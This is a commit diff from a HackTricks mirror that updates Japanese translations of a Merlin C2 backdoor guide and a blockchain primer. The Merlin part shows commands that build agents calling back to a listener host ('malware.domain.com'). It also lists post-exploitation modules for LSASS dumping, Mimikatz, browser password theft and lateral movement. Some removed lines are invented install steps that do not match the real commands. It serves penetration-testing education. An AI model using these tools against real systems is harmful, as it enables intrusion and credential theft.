mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['backdoors/merlin.md', 'blockchain/blockchain-and-crypto-cur
This commit is contained in:
parent
6e32dce96e
commit
161aa03eeb
13 changed files with 510 additions and 686 deletions
|
@ -1,16 +1,14 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -31,56 +29,21 @@ Add "export GOBIN=$GOPATH/bin"
|
|||
source /etc/profile
|
||||
```
|
||||
## Merlinのインストール
|
||||
|
||||
To install Merlin, follow these steps:
|
||||
|
||||
1. Download the Merlin backdoor from the official website or a trusted source.
|
||||
2. Extract the downloaded file to a desired location on your system.
|
||||
3. Open a terminal or command prompt and navigate to the extracted Merlin directory.
|
||||
4. Run the installation script by executing the following command: `./install.sh`.
|
||||
5. Follow the prompts and provide the necessary information during the installation process.
|
||||
6. Once the installation is complete, you can start using Merlin for backdoor functionality.
|
||||
|
||||
Merlinのインストール手順は以下の通りです:
|
||||
|
||||
1. 公式ウェブサイトまたは信頼できるソースからMerlinバックドアをダウンロードします。
|
||||
2. ダウンロードしたファイルをシステム上の任意の場所に展開します。
|
||||
3. ターミナルまたはコマンドプロンプトを開き、展開したMerlinディレクトリに移動します。
|
||||
4. 次のコマンドを実行してインストールスクリプトを実行します:`./install.sh`。
|
||||
5. インストールプロセス中に必要な情報を入力し、指示に従います。
|
||||
6. インストールが完了したら、Merlinをバックドア機能として使用することができます。
|
||||
```
|
||||
go get https://github.com/Ne0nd0g/merlin/tree/dev #It is recommended to use the developer branch
|
||||
cd $GOPATH/src/github.com/Ne0nd0g/merlin/
|
||||
```
|
||||
# Merlinサーバーの起動
|
||||
|
||||
To launch the Merlin server, follow the steps below:
|
||||
|
||||
1. Download the Merlin server package from the official website.
|
||||
2. Extract the downloaded package to a desired location on your machine.
|
||||
3. Open a terminal or command prompt and navigate to the extracted Merlin server directory.
|
||||
4. Run the following command to start the Merlin server:
|
||||
|
||||
```bash
|
||||
./merlin-server
|
||||
```
|
||||
|
||||
Note: If you encounter any permission issues, you may need to use `sudo` or run the command as an administrator.
|
||||
|
||||
5. Once the server is running, you can access the Merlin web interface by opening a web browser and entering the server's IP address followed by the port number (default is 8080). For example, `http://192.168.0.100:8080`.
|
||||
|
||||
By following these steps, you will be able to successfully launch the Merlin server and access its web interface.
|
||||
```
|
||||
go run cmd/merlinserver/main.go -i
|
||||
```
|
||||
# Merlin エージェント
|
||||
|
||||
[事前にコンパイルされたエージェントをダウンロード](https://github.com/Ne0nd0g/merlin/releases)することができます。
|
||||
[事前にコンパイルされたエージェントをダウンロードする](https://github.com/Ne0nd0g/merlin/releases)ことができます。
|
||||
|
||||
## エージェントのコンパイル
|
||||
|
||||
メインフォルダ _$GOPATH/src/github.com/Ne0nd0g/merlin/_ に移動します。
|
||||
メインフォルダ _$GOPATH/src/github.com/Ne0nd0g/merlin/_ に移動してください。
|
||||
```
|
||||
#User URL param to set the listener URL
|
||||
make #Server and Agents of all
|
||||
|
@ -88,74 +51,58 @@ make windows #Server and Agents for Windows
|
|||
make windows-agent URL=https://malware.domain.com:443/ #Agent for windows (arm, dll, linux, darwin, javascript, mips)
|
||||
```
|
||||
## **エージェントの手動コンパイル**
|
||||
|
||||
To manually compile agents, follow these steps:
|
||||
|
||||
1. **Choose the programming language**: Select the programming language you want to use for the agent. Common choices include C, C++, Python, and Java.
|
||||
|
||||
2. **Write the agent code**: Write the code for the agent, ensuring that it includes the necessary functionality for your specific needs. This may include features such as remote command execution, file system access, or network communication.
|
||||
|
||||
3. **Compile the agent**: Use the appropriate compiler for the chosen programming language to compile the agent code into an executable file. This will generate a binary file that can be executed on the target system.
|
||||
|
||||
4. **Test the agent**: Before deploying the agent, it is important to test its functionality and ensure that it works as intended. This can be done by running the compiled agent on a test system and verifying its behavior.
|
||||
|
||||
5. **Deploy the agent**: Once the agent has been tested and verified, it can be deployed on the target system. This can be done by transferring the compiled agent file to the target system and executing it.
|
||||
|
||||
By following these steps, you can manually compile agents to meet your specific requirements.
|
||||
```
|
||||
GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" -o agent.exe main.g
|
||||
```
|
||||
# モジュール
|
||||
|
||||
**悪いニュースは、Merlinが使用するすべてのモジュールがソース(Github)からダウンロードされ、使用する前にディスクに保存されるということです。よく知られたモジュールを使用する際には注意が必要です。なぜなら、Windows Defenderに検出される可能性があるからです!**
|
||||
**悪いニュースは、Merlinによって使用されるすべてのモジュールがソース(Github)からダウンロードされ、使用する前にディスクに保存されることです。よく知られているモジュールを使用する際は、Windows Defenderに捕まらないように注意してください!**
|
||||
|
||||
|
||||
**SafetyKatz** --> 改変されたMimikatz。LSASSをファイルにダンプして、sekurlsa::logonpasswordsをそのファイルに実行します\
|
||||
**SharpDump** --> 指定されたプロセスIDのminidump(デフォルトはLSASS)(最終ファイルの拡張子は.gzですが、実際は.binですが、.gzファイルです)\
|
||||
**SafetyKatz** --> Modified Mimikatz。LSASSをファイルにダンプし、そのファイルに対して:sekurlsa::logonpasswordsを実行します\
|
||||
**SharpDump** --> 指定されたプロセスID(デフォルトではLSASS)のminidump(最終ファイルの拡張子は.gzと言われていますが、実際には.binですが、gzファイルです)\
|
||||
**SharpRoast** --> Kerberoast(動作しません)\
|
||||
**SeatBelt** --> CSのローカルセキュリティテスト(動作しません)https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs\
|
||||
**Compiler-CSharp** --> csc.exe /unsafeを使用してコンパイルします\
|
||||
**Sharp-Up** --> powerupでのC#のすべてのチェック(動作します)\
|
||||
**Inveigh** --> PowerShellADIDNS/LLMNR/mDNS/NBNSスプーファーおよび中間者攻撃ツール(動作しません、https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1をロードする必要があります)\
|
||||
**Invoke-InternalMonologue** --> 利用可能なすべてのユーザーを偽装し、各ユーザーに対してチャレンジレスポンスを取得します(各ユーザーのNTLMハッシュ)(URLが不正です)\
|
||||
**Invoke-PowerThIEf** --> IExplorerからフォームを盗み出すか、JSを実行するか、そのプロセスにDLLをインジェクトします(動作しません)(およびPSも動作しないようです)https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1\
|
||||
**LaZagneForensic** --> ブラウザのパスワードを取得します(動作しますが、出力ディレクトリを表示しません)\
|
||||
**dumpCredStore** --> Win32 Credential Manager API(https://github.com/zetlen/clortho/blob/master/CredMan.ps1)https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details\
|
||||
**Get-InjectedThread** --> 実行中のプロセスでクラシックなインジェクションを検出します(Classic Injection(OpenProcess、VirtualAllocEx、WriteProcessMemory、CreateRemoteThread))(動作しません)\
|
||||
**Get-OSTokenInformation** --> 実行中のプロセスとスレッドのトークン情報を取得します(ユーザー、グループ、特権、所有者などhttps://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token_information_class)\
|
||||
**Invoke-DCOM** --> DCOMを介して(他のコンピューターで)コマンドを実行します(http://www.enigma0x3.net.)(https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/)\
|
||||
**Invoke-DCOMPowerPointPivot** --> PowerPoint COMオブジェクト(ADDin)を悪用して、他のPCでコマンドを実行します\
|
||||
**Invoke-ExcelMacroPivot** --> ExcelでDCOMを悪用して、他のPCでコマンドを実行します\
|
||||
**SeatBelt** --> CSのローカルセキュリティテスト(動作しません) https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs\
|
||||
**Compiler-CSharp** --> csc.exe /unsafeを使用してコンパイル\
|
||||
**Sharp-Up** --> powerupのC#での全チェック(動作します)\
|
||||
**Inveigh** --> PowerShellADIDNS/LLMNR/mDNS/NBNSスプーファーおよびマンインザミドルツール(動作しません、以下をロードする必要があります:https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1)\
|
||||
**Invoke-InternalMonologue** --> 利用可能なすべてのユーザーを偽装し、各ユーザーに対してチャレンジレスポンスを取得します(各ユーザーのNTLMハッシュ)(不正なURL)\
|
||||
**Invoke-PowerThIEf** --> IExplorerからフォームを盗むか、JSを実行させるか、そのプロセスにDLLを注入する(動作しません)(PSも動作しないようです) https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1\
|
||||
**LaZagneForensic** --> ブラウザのパスワードを取得(動作しますが、出力ディレクトリを印刷しません)\
|
||||
**dumpCredStore** --> Win32 Credential Manager API(https://github.com/zetlen/clortho/blob/master/CredMan.ps1) https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details\
|
||||
**Get-InjectedThread** --> 実行中のプロセスでのクラシックインジェクションを検出(クラシックインジェクション(OpenProcess、VirtualAllocEx、WriteProcessMemory、CreateRemoteThread))(動作しません)\
|
||||
**Get-OSTokenInformation** --> 実行中のプロセスとスレッドのトークン情報を取得(ユーザー、グループ、権限、所有者... https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token_information_class)\
|
||||
**Invoke-DCOM** --> DCOMを介してコマンドを実行します(他のコンピューターで)(http://www.enigma0x3.net.)(https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/)\
|
||||
**Invoke-DCOMPowerPointPivot** --> PowerPoint COMオブジェクトを悪用して他のPCでコマンドを実行(ADDin)\
|
||||
**Invoke-ExcelMacroPivot** --> ExcelのDCOMを悪用して他のPCでコマンドを実行\
|
||||
**Find-ComputersWithRemoteAccessPolicies** --> (動作しません)(https://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/)\
|
||||
**Grouper** --> グループポリシーの最も興味深い部分をダンプし、悪用可能なものを探します(非推奨)Grouper2を見てみてください、とても素敵です\
|
||||
**Invoke-WMILM** --> 横方向に移動するためのWMI\
|
||||
**Get-GPPPassword** --> groups.xml、scheduledtasks.xml、services.xml、datasources.xmlを検索し、平文のパスワードを返します(ドメイン内)\
|
||||
**Invoke-Mimikatz** --> mimikatzを使用します(デフォルトのダンプクレデンシャル)\
|
||||
**Grouper** --> グループポリシーの最も興味深い部分をすべてダンプし、それらを探って悪用可能なものを見つけます。(非推奨)Grouper2を見てみてください、とても良さそうです\
|
||||
**Invoke-WMILM** --> 後方移動のためのWMI\
|
||||
**Get-GPPPassword** --> groups.xml、scheduledtasks.xml、services.xml、datasources.xmlを探し、プレーンテキストパスワードを返します(ドメイン内)\
|
||||
**Invoke-Mimikatz** --> mimikatzを使用(デフォルトのクレデンシャルダンプ)\
|
||||
**PowerUp** --> https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc\
|
||||
**Find-BadPrivilege** --> コンピューターのユーザーの特権をチェックします\
|
||||
**Find-PotentiallyCrackableAccounts** --> SPNに関連付けられたユーザーアカウントに関する情報を取得します(Kerberoasting)\
|
||||
**Find-BadPrivilege** --> コンピューターのユーザーの権限をチェック\
|
||||
**Find-PotentiallyCrackableAccounts** --> SPNに関連付けられたユーザーアカウントに関する情報を取得(Kerberoasting)\
|
||||
**psgetsystem** --> getsystem
|
||||
|
||||
**持続性モジュールはチェックしていません**
|
||||
**永続性モジュールはチェックしていません**
|
||||
|
||||
# 要約
|
||||
# まとめ
|
||||
|
||||
このツールの感触とポテンシャルが本当に気に入っています。\
|
||||
ツールがサーバーからモジュールをダウンロードし、スクリプトをダウンロードする際にいくつかの回避手段を組み込むことを願っています。
|
||||
このツールの感触とポテンシャルがとても気に入りました。\
|
||||
ツールがサーバーからモジュールをダウンロードし始め、スクリプトをダウンロードする際に何らかの回避策を統合することを願っています。
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
|
||||
- **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)または[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションです。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加するか**、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,247 +1,265 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
|
||||
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 基本用語
|
||||
|
||||
* **スマートコントラクト**: スマートコントラクトは、あらかじめ決められた条件が満たされたときに実行される**ブロックチェーン上に格納されたプログラム**です。通常、すべての参加者が中間業者の関与や時間のロスなしに結果を即座に確認できるように、**契約の実行を自動化**するために使用されます([ここから](https://www.ibm.com/topics/smart-contracts))。
|
||||
* 基本的に、スマートコントラクトは、契約にアクセスして受け入れるときに実行される**コードの一部**です。スマートコントラクトは**ブロックチェーン上で実行**されます(その結果は不変に保存されます)し、人々は受け入れる前にそれを読むことができます。
|
||||
* **dApps**: **分散型アプリケーション**は、**スマートコントラクト**の上に実装されます。通常、ユーザーがアプリと対話できるフロントエンドがあり、バックエンドは公開されています(監査が可能)し、スマートコントラクトとして実装されています。場合によっては、データベースの使用が必要ですが、Ethereumブロックチェーンは各アカウントに一定のストレージを割り当てます。
|
||||
* **トークンとコイン**: **コイン**は暗号通貨であり、**デジタルなお金**として機能し、**トークン**はある**価値を表す**ものですが、コインではありません。
|
||||
* **ユーティリティトークン**: これらのトークンは、**後で特定のサービスにアクセス**するために使用できるものです(特定の環境で価値を持つものです)。
|
||||
* **セキュリティトークン**: これらは**所有権**またはある資産を表します。
|
||||
* **スマートコントラクト**: スマートコントラクトは、あらかじめ定められた条件が満たされたときに実行される**ブロックチェーンに保存されたプログラム**です。通常、**合意の実行**を自動化するために使用され、すべての参加者が中間者の介入や時間のロスなしに結果を即座に確認できるようにします。(こちらから[here](https://www.ibm.com/topics/smart-contracts))。
|
||||
* 基本的に、スマートコントラクトは、人々がアクセスして契約を受け入れると実行される**コードの一部**です。スマートコントラクトは**ブロックチェーンで実行されます**(そのため結果は不変に保存されます)し、それらを受け入れる前に人々によって読まれることができます。
|
||||
* **dApps**: **分散型アプリケーション**は、**スマートコントラクト**の上に実装されています。通常、ユーザーがアプリと対話できるフロントエンドがあり、**バックエンド**は公開されています(監査可能)し、**スマートコントラクト**として実装されています。時々、データベースの使用が必要です。Ethereumブロックチェーンは、各アカウントに一定のストレージを割り当てます。
|
||||
* **トークン & コイン**: **コイン**は**デジタル** **マネー**として機能する暗号通貨であり、**トークン**は何らかの**価値**を**表す**ものですが、コインではありません。
|
||||
* **ユーティリティトークン**: これらのトークンは、ユーザーが後で**特定のサービスにアクセスすることを可能にします**(特定の環境で価値があるものです)。
|
||||
* **セキュリティトークン**: これらは、何らかの資産の**所有権**を表します。
|
||||
* **DeFi**: **分散型金融**。
|
||||
* **DEX: 分散型取引所プラットフォーム**。
|
||||
* **DAO**: **分散型自治組織**。
|
||||
* **DEX: 分散型取引プラットフォーム**。
|
||||
* **DAOs**: **分散型自律組織**。
|
||||
|
||||
# コンセンサスメカニズム
|
||||
# 合意形成メカニズム
|
||||
|
||||
ブロックチェーンのトランザクションが認識されるためには、**ブロックチェーンに追加**される必要があります。バリデータ(マイナー)がこれを行い、多くのプロトコルではそのために**報酬を受け取ります**。ブロックチェーンが安全であるためには、悪意のあるユーザーやグループがバリデーションの大部分を占めることを防ぐメカニズムが必要です。
|
||||
ブロックチェーントランザクションが認識されるためには、**ブロックチェーン**に**追加**されなければなりません。バリデーター(マイナー)がこの追加を行い、ほとんどのプロトコルでは、そうすることで**報酬を受け取ります**。ブロックチェーンが安全であるためには、悪意のあるユーザーやグループがバリデーションの過半数を乗っ取ることを**防ぐ**メカニズムが必要です。
|
||||
|
||||
Proof of work(PoW)は、計算能力の検証を使用してトランザクションを検証し、潜在的な攻撃者がバリデータネットワークの計算能力の大部分を取得する必要があります。
|
||||
## プルーフ・オブ・ワーク (PoW)
|
||||
|
||||
## Proof Of Work(PoW)
|
||||
これは、トランザクションを検証するために**計算能力の検証**を使用し、潜在的な攻撃者がバリデーターネットワークの大部分の計算力を獲得することを要求します。\
|
||||
**マイナー**はいくつかのトランザクションを**選択**し、その後**プルーフ・オブ・ワークの計算**を開始します。**最大の計算リソースを持つマイナー**は、プルーフ・オブ・ワークを**早く終える可能性が高く**、すべてのトランザクションの手数料を得ることになります。
|
||||
|
||||
これは、トランザクションを検証するために**計算能力の検証**を使用し、潜在的な攻撃者がバリデータネットワークの計算能力の大部分を取得する必要があります。\
|
||||
**マイナー**はいくつかのトランザクションを**選択**し、それから**Proof Of Workを計算**し始めます。**計算リソースが最も多いマイナー**がProof of Workを**早く終了**し、すべてのトランザクションの手数料を得る可能性が高くなります。
|
||||
## プルーフ・オブ・ステーク (PoS)
|
||||
|
||||
## Proof Of Stake(PoS)
|
||||
PoSは、バリデーターがある量のブロックチェーントークンを**保有していることを要求することによって**、潜在的な攻撃者が攻撃を仕掛けるためにブロックチェーン上のトークンの大部分を獲得することを要求します。\
|
||||
この種の合意形成では、マイナーが持っているトークンが多いほど、次のブロックを作成するように求められる可能性が高くなります。\
|
||||
PoWと比較して、これはマイナーが消費するエネルギーを大幅に**削減します**。
|
||||
|
||||
PoSは、バリデータが一定量のブロックチェーントークンを持っていることを要求することでこれを実現し、攻撃者が攻撃を行うためにはブロックチェーン上のトークンの大部分を取得する必要があります。\
|
||||
この種のコンセンサスでは、マイナーが持つトークンの量が多いほど、次のブロックを作成するように求められる可能性が高くなります。\
|
||||
PoWと比較して、これによりマイナーが消費するエネルギーが大幅に**削減**されます。
|
||||
|
||||
# Bitcoin
|
||||
# ビットコイン
|
||||
|
||||
## トランザクション
|
||||
|
||||
単純な**トランザクション**は、アドレスから別のアドレスへの**お金の移動**です。\
|
||||
ビットコインの**アドレス**は**公開鍵のハッシュ**であり、したがって、トランザクションを行うためには、その公開鍵(アドレス)に関連付けられた秘密鍵を知っている必要があります。\
|
||||
その後、トランザクションが実行されると、そのアドレスの秘密鍵で**署名**され、トランザクションが**正当**であることを示します。
|
||||
単純な**トランザクション**は、あるアドレスから別のアドレスへの**お金の移動**です。\
|
||||
ビットコインの**アドレス**は、**公開** **キー**のハッシュです。したがって、アドレスからトランザクションを行うためには、その公開キー(アドレス)に関連付けられた秘密キーを知る必要があります。\
|
||||
その後、**トランザクション**が行われると、アドレスの秘密キーで**署名**され、トランザクションが**正当**であることを示します。
|
||||
|
||||
ビットコインでデジタル署名を生成するための最初の部分は、数学的に次のように表すことができます:\
|
||||
ビットコインでデジタル署名を生成する最初の部分は、数学的に次のように表されます:\
|
||||
_**Sig**_ = _**Fsig**_(_**Fhash**_(_**m**_),_**dA**_)
|
||||
|
||||
ここで:
|
||||
ここで:
|
||||
|
||||
* _d_Aは署名の**秘密鍵**です
|
||||
* _m_は**トランザクション**です
|
||||
* Fhashはハッシュ関数です
|
||||
* Fsigは署名アルゴリズムです
|
||||
* Sigは生成された署名です
|
||||
* \_d\_Aは署名する**秘密キー**
|
||||
* _m_は**トランザクション**
|
||||
* Fhashはハッシュ関数
|
||||
* Fsigは署名アルゴリズム
|
||||
* Sigは結果の署名
|
||||
|
||||
署名関数(Fsig)は、RとSの2つの値からなる署名(Sig)を生成します:
|
||||
署名関数(Fsig)は、RとSという二つの値からなる署名(Sig)を生成します:
|
||||
|
||||
* Sig = (R, S)
|
||||
|
||||
RとSが計算されたら、それらはバイトストリームにシリアル化され、国際標準のエンコーディングスキームでエンコードされます。これはDistinguished Encoding Rules(DER)として知られています。署名が有効であることを
|
||||
### マルチシグトランザクション
|
||||
RとSが計算されると、それらはバイトストリームにシリアライズされ、Distinguished Encoding Rules(またはDER)として知られる国際標準のエンコーディングスキームを使用してエンコードされます。署名が有効であることを検証するためには、署名検証アルゴリズムが使用されます。デジタル署名の検証には次のものが必要です:
|
||||
|
||||
マルチシグアドレスは、1つ以上のECDSAプライベートキーに関連付けられたアドレスです。最も単純なタイプは、m-of-nアドレスです。これは、n個のプライベートキーに関連付けられており、このアドレスからビットコインを送信するには、少なくともm個のキーの署名が必要です。マルチシグトランザクションは、マルチシグアドレスから資金を送信するトランザクションのことです。
|
||||
* 署名(RとS)
|
||||
* トランザクションハッシュ
|
||||
* 署名を生成するために使用された秘密キーに対応する公開キー
|
||||
|
||||
### トランザクションのフィールド
|
||||
署名の検証は、実質的にトランザクションに署名を生成したのは公開キーを生成した秘密キーの所有者であることを意味します。署名検証アルゴリズムは、署名が実際に有効である場合に「TRUE」と返します。
|
||||
|
||||
各ビットコインのトランザクションには、いくつかのフィールドがあります:
|
||||
### マルチシグネチャトランザクション
|
||||
|
||||
- **Inputs**: ビットコインが送信される金額とアドレス
|
||||
- **Outputs**: 各アウトプットに転送されるアドレスと金額
|
||||
- **Fee**: トランザクションのマイナーに支払われる金額
|
||||
- **Script_sig**: トランザクションのスクリプト署名
|
||||
- **Script_type**: トランザクションのタイプ
|
||||
マルチシグネチャ**アドレス**は、複数のECDSA秘密キーに関連付けられたアドレスです。最も単純なタイプはm-of-nアドレスで、n個の秘密キーに関連付けられており、このアドレスからビットコインを送るには少なくともm個のキーからの署名が必要です。マルチシグネチャ**トランザクション**は、マルチシグネチャアドレスから資金を送るものです。
|
||||
|
||||
トランザクションには、次の2つの主要なタイプがあります:
|
||||
### トランザクションフィールド
|
||||
|
||||
- **P2PKH: "Pay To Public Key Hash"**: これがトランザクションが行われる方法です。送信者には有効な署名(プライベートキーから)と公開鍵を提供することが要求されます。トランザクションのアウトプットスクリプトは、署名と公開鍵を使用し、いくつかの暗号関数を介して公開鍵ハッシュと一致するかどうかをチェックします。一致する場合、資金は使用可能になります。この方法では、公開鍵をハッシュの形で隠すことで、追加のセキュリティが提供されます。
|
||||
